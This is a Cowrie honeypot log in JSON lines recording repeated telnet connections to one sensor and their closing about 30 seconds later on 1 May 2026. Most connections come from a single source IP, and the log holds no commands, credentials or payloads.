{"eventid":"cowrie.session.closed","duration":31.289994478225708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:32.019125Z","src_ip":"164.68.118.26","session":"74f8d1ee3b0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13784432411194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:32.112926Z","src_ip":"164.68.118.26","session":"e2abbf62b4b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878498315811157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:32.137843Z","src_ip":"164.68.118.26","session":"64c7e8a7fd8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2150776386261,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:32.418435Z","src_ip":"164.68.118.26","session":"8513af1a9148","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.446077823638916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:32.454581Z","src_ip":"164.68.118.26","session":"d678c6110517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54674,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfcbb9d8c53f","protocol":"telnet","message":"New connection: 164.68.118.26:54674 (10.17.0.5:23) [session: bfcbb9d8c53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:32.462542Z"}
{"eventid":"cowrie.session.closed","duration":30.92004704475403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:33.197363Z","src_ip":"164.68.118.26","session":"4d2f9c08b8f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18988561630249,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:33.264365Z","src_ip":"164.68.118.26","session":"87ea5020e7ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59086,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e19a12a9245","protocol":"telnet","message":"New connection: 164.68.118.26:59086 (10.17.0.5:23) [session: 7e19a12a9245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:33.512841Z"}
{"eventid":"cowrie.session.closed","duration":30.86100125312805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:35.090838Z","src_ip":"164.68.118.26","session":"0abfc9af58f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.265018939971924,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:36.318115Z","src_ip":"103.115.172.252","session":"caa53409a848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9730007648468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:36.399751Z","src_ip":"164.68.118.26","session":"ff0137b4595f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0245201587677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:36.687468Z","src_ip":"164.68.118.26","session":"2bff82987af6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":45668,"dst_ip":"10.17.0.5","dst_port":23,"session":"43c9d91ee91b","protocol":"telnet","message":"New connection: 164.68.118.26:45668 (10.17.0.5:23) [session: 43c9d91ee91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:36.868887Z"}
{"eventid":"cowrie.session.closed","duration":31.317341327667236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:37.486977Z","src_ip":"164.68.118.26","session":"6dd9c9875ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52638,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b481d166ca7","protocol":"telnet","message":"New connection: 164.68.118.26:52638 (10.17.0.5:23) [session: 4b481d166ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:38.472002Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55378,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5c7c524765d","protocol":"telnet","message":"New connection: 164.68.118.26:55378 (10.17.0.5:23) [session: f5c7c524765d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:39.057769Z"}
{"eventid":"cowrie.session.closed","duration":31.16135025024414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:39.976992Z","src_ip":"164.68.118.26","session":"928b8ed88840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756842374801636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:40.134651Z","src_ip":"164.68.118.26","session":"6b57bd3869bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002466201782227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:40.197742Z","src_ip":"164.68.118.26","session":"b24a5cfd92a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33756,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e27b3e65550","protocol":"telnet","message":"New connection: 164.68.118.26:33756 (10.17.0.5:23) [session: 3e27b3e65550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:40.703549Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40524,"dst_ip":"10.17.0.5","dst_port":23,"session":"cca4da0b35a1","protocol":"telnet","message":"New connection: 45.63.42.31:40524 (10.17.0.5:23) [session: cca4da0b35a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:41.010727Z"}
{"eventid":"cowrie.session.closed","duration":31.27440643310547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:41.020751Z","src_ip":"164.68.118.26","session":"e942a719d8d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049708604812622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:41.755105Z","src_ip":"164.68.118.26","session":"2b7c75ca0a76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757100820541382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:42.094321Z","src_ip":"164.68.118.26","session":"bb60118db67a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39938,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a367ff837a3","protocol":"telnet","message":"New connection: 164.68.118.26:39938 (10.17.0.5:23) [session: 6a367ff837a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:42.251323Z"}
{"eventid":"cowrie.session.closed","duration":30.425548315048218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:43.168448Z","src_ip":"173.198.194.106","session":"eff98e5b9ac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44946,"dst_ip":"10.17.0.5","dst_port":23,"session":"83281a155ce2","protocol":"telnet","message":"New connection: 164.68.118.26:44946 (10.17.0.5:23) [session: 83281a155ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:43.512906Z"}
{"eventid":"cowrie.session.closed","duration":30.88589072227478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:44.300354Z","src_ip":"164.68.118.26","session":"9b81189fe739","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52052,"dst_ip":"10.17.0.5","dst_port":23,"session":"e08711bdb47f","protocol":"telnet","message":"New connection: 164.68.118.26:52052 (10.17.0.5:23) [session: e08711bdb47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:45.078363Z"}
{"eventid":"cowrie.session.closed","duration":30.67742156982422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:46.050143Z","src_ip":"164.68.118.26","session":"e188d652f61b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42578673362732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:46.290538Z","src_ip":"164.68.118.26","session":"14d2cd700feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.253075122833252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:47.120463Z","src_ip":"164.68.118.26","session":"60f00f20f33f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084758520126343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:47.187943Z","src_ip":"164.68.118.26","session":"edcd55053e98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.488150119781494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:47.463920Z","src_ip":"164.68.118.26","session":"1bf20c88ac19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33826,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3e350587ea","protocol":"telnet","message":"New connection: 164.68.118.26:33826 (10.17.0.5:23) [session: 8a3e350587ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:47.593699Z"}
{"eventid":"cowrie.session.closed","duration":31.047297954559326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:48.145595Z","src_ip":"164.68.118.26","session":"a00289ca6585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08391833305359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:48.826501Z","src_ip":"164.68.118.26","session":"2e1eef0505b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39274,"dst_ip":"10.17.0.5","dst_port":23,"session":"18be0a5adf9f","protocol":"telnet","message":"New connection: 164.68.118.26:39274 (10.17.0.5:23) [session: 18be0a5adf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:48.869111Z"}
{"eventid":"cowrie.session.closed","duration":30.5048725605011,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:49.053606Z","src_ip":"164.68.118.26","session":"45fb01aa55a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084237337112427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:49.089579Z","src_ip":"164.68.118.26","session":"287e1f0cf4eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.008142948150635,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:49.905663Z","src_ip":"45.63.42.31","session":"c556e521fa91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038044929504395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:50.092479Z","src_ip":"164.68.118.26","session":"f963d35c1682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20593571662903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:50.690202Z","src_ip":"164.68.118.26","session":"e2d68fb51ecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":47476,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a35d80b982","protocol":"telnet","message":"New connection: 31.186.173.44:47476 (10.17.0.5:23) [session: 92a35d80b982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:50.709688Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":47906,"dst_ip":"10.17.0.5","dst_port":23,"session":"f886a5af2d97","protocol":"telnet","message":"New connection: 164.68.118.26:47906 (10.17.0.5:23) [session: f886a5af2d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:51.053221Z"}
{"eventid":"cowrie.session.closed","duration":30.59541344642639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:51.115733Z","src_ip":"164.68.118.26","session":"0c51dceccaed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52274,"dst_ip":"10.17.0.5","dst_port":23,"session":"56be2620ee3e","protocol":"telnet","message":"New connection: 164.68.118.26:52274 (10.17.0.5:23) [session: 56be2620ee3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:52.078662Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53820,"dst_ip":"10.17.0.5","dst_port":23,"session":"86130613055e","protocol":"telnet","message":"New connection: 164.68.118.26:53820 (10.17.0.5:23) [session: 86130613055e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:52.483049Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57310,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cffd57abfb3","protocol":"telnet","message":"New connection: 164.68.118.26:57310 (10.17.0.5:23) [session: 5cffd57abfb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:53.357483Z"}
{"eventid":"cowrie.session.closed","duration":31.402079343795776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:53.393510Z","src_ip":"164.68.118.26","session":"1ee412f5a920","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.442312240600586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:53.687585Z","src_ip":"164.68.118.26","session":"c55ade0a12f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29631996154785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:54.108666Z","src_ip":"164.68.118.26","session":"687a1fb05ff8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111767053604126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:54.216969Z","src_ip":"164.68.118.26","session":"ab4f2299a58a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38642,"dst_ip":"10.17.0.5","dst_port":23,"session":"c903ce03feaa","protocol":"telnet","message":"New connection: 164.68.118.26:38642 (10.17.0.5:23) [session: c903ce03feaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:55.755036Z"}
{"eventid":"cowrie.session.closed","duration":30.318739414215088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:56.095692Z","src_ip":"164.68.118.26","session":"26aa759030dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538442611694336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:56.138078Z","src_ip":"164.68.118.26","session":"89425994a4cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889745235443115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:56.214553Z","src_ip":"164.68.118.26","session":"6986d6c510fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038306951522827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:57.089758Z","src_ip":"164.68.118.26","session":"bd313e0df3b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48526,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e84a49c370f","protocol":"telnet","message":"New connection: 185.26.126.47:48526 (159.203.135.109:23) [session: 9e84a49c370f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:58.588530Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53870,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a44090d3814","protocol":"telnet","message":"New connection: 45.63.42.31:53870 (10.17.0.5:23) [session: 9a44090d3814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:59.071671Z"}
{"eventid":"cowrie.session.closed","duration":4.222589492797852,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:02.811001Z","src_ip":"185.26.126.47","session":"9e84a49c370f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39482,"dst_ip":"10.17.0.5","dst_port":23,"session":"1369c7828084","protocol":"telnet","message":"New connection: 164.68.118.26:39482 (10.17.0.5:23) [session: 1369c7828084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:02.878959Z"}
{"eventid":"cowrie.session.closed","duration":30.70651626586914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:03.168895Z","src_ip":"164.68.118.26","session":"bfcbb9d8c53f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":59960,"dst_ip":"10.17.0.5","dst_port":23,"session":"86a300b0400f","protocol":"telnet","message":"New connection: 173.198.194.106:59960 (10.17.0.5:23) [session: 86a300b0400f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:03.996368Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":59964,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8f3a986d0d5","protocol":"telnet","message":"New connection: 173.198.194.106:59964 (10.17.0.5:23) [session: d8f3a986d0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:04.001907Z"}
{"eventid":"cowrie.session.closed","duration":37.03175115585327,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:04.400972Z","src_ip":"103.115.172.252","session":"0c235eb1175f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043851613998413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:04.556586Z","src_ip":"164.68.118.26","session":"7e19a12a9245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":50452,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5dee043a4a9","protocol":"telnet","message":"New connection: 31.186.173.44:50452 (10.17.0.5:23) [session: b5dee043a4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:05.208621Z"}
{"eventid":"cowrie.session.closed","duration":30.177894353866577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:07.046651Z","src_ip":"164.68.118.26","session":"43c9d91ee91b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35332,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf42ca28ed6","protocol":"telnet","message":"New connection: 164.68.118.26:35332 (10.17.0.5:23) [session: 3cf42ca28ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:09.010141Z"}
{"eventid":"cowrie.session.closed","duration":30.58217763900757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:09.053855Z","src_ip":"164.68.118.26","session":"4b481d166ca7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34132,"dst_ip":"10.17.0.5","dst_port":23,"session":"0542b77a227e","protocol":"telnet","message":"New connection: 164.68.118.26:34132 (10.17.0.5:23) [session: 0542b77a227e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:09.733869Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":42942,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3272bb19db","protocol":"telnet","message":"New connection: 164.68.118.26:42942 (10.17.0.5:23) [session: fa3272bb19db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:10.783534Z"}
{"eventid":"cowrie.session.closed","duration":31.83326816558838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:10.890900Z","src_ip":"164.68.118.26","session":"f5c7c524765d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389381647109985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:11.092820Z","src_ip":"164.68.118.26","session":"3e27b3e65550","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90020227432251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:13.151429Z","src_ip":"164.68.118.26","session":"6a367ff837a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":36812,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e81f5497ed8","protocol":"telnet","message":"New connection: 173.198.194.106:36812 (10.17.0.5:23) [session: 8e81f5497ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:13.585820Z"}
{"eventid":"cowrie.session.closed","duration":30.66773748397827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:14.180542Z","src_ip":"164.68.118.26","session":"83281a155ce2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199434518814087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:16.277690Z","src_ip":"164.68.118.26","session":"e08711bdb47f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":37114,"dst_ip":"10.17.0.5","dst_port":23,"session":"1118b6741788","protocol":"telnet","message":"New connection: 164.68.118.26:37114 (10.17.0.5:23) [session: 1118b6741788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:16.344706Z"}
{"eventid":"cowrie.session.closed","duration":35.877201080322266,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:16.887941Z","src_ip":"45.63.42.31","session":"cca4da0b35a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.455256462097168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:18.048805Z","src_ip":"164.68.118.26","session":"8a3e350587ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":53894,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e668baf193","protocol":"telnet","message":"New connection: 31.186.173.44:53894 (10.17.0.5:23) [session: 48e668baf193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:19.157535Z"}
{"eventid":"cowrie.session.closed","duration":30.332218885421753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:07:19.201133Z","src_ip":"164.68.118.26","session":"18be0a5adf9f","protocol":"telnet"}
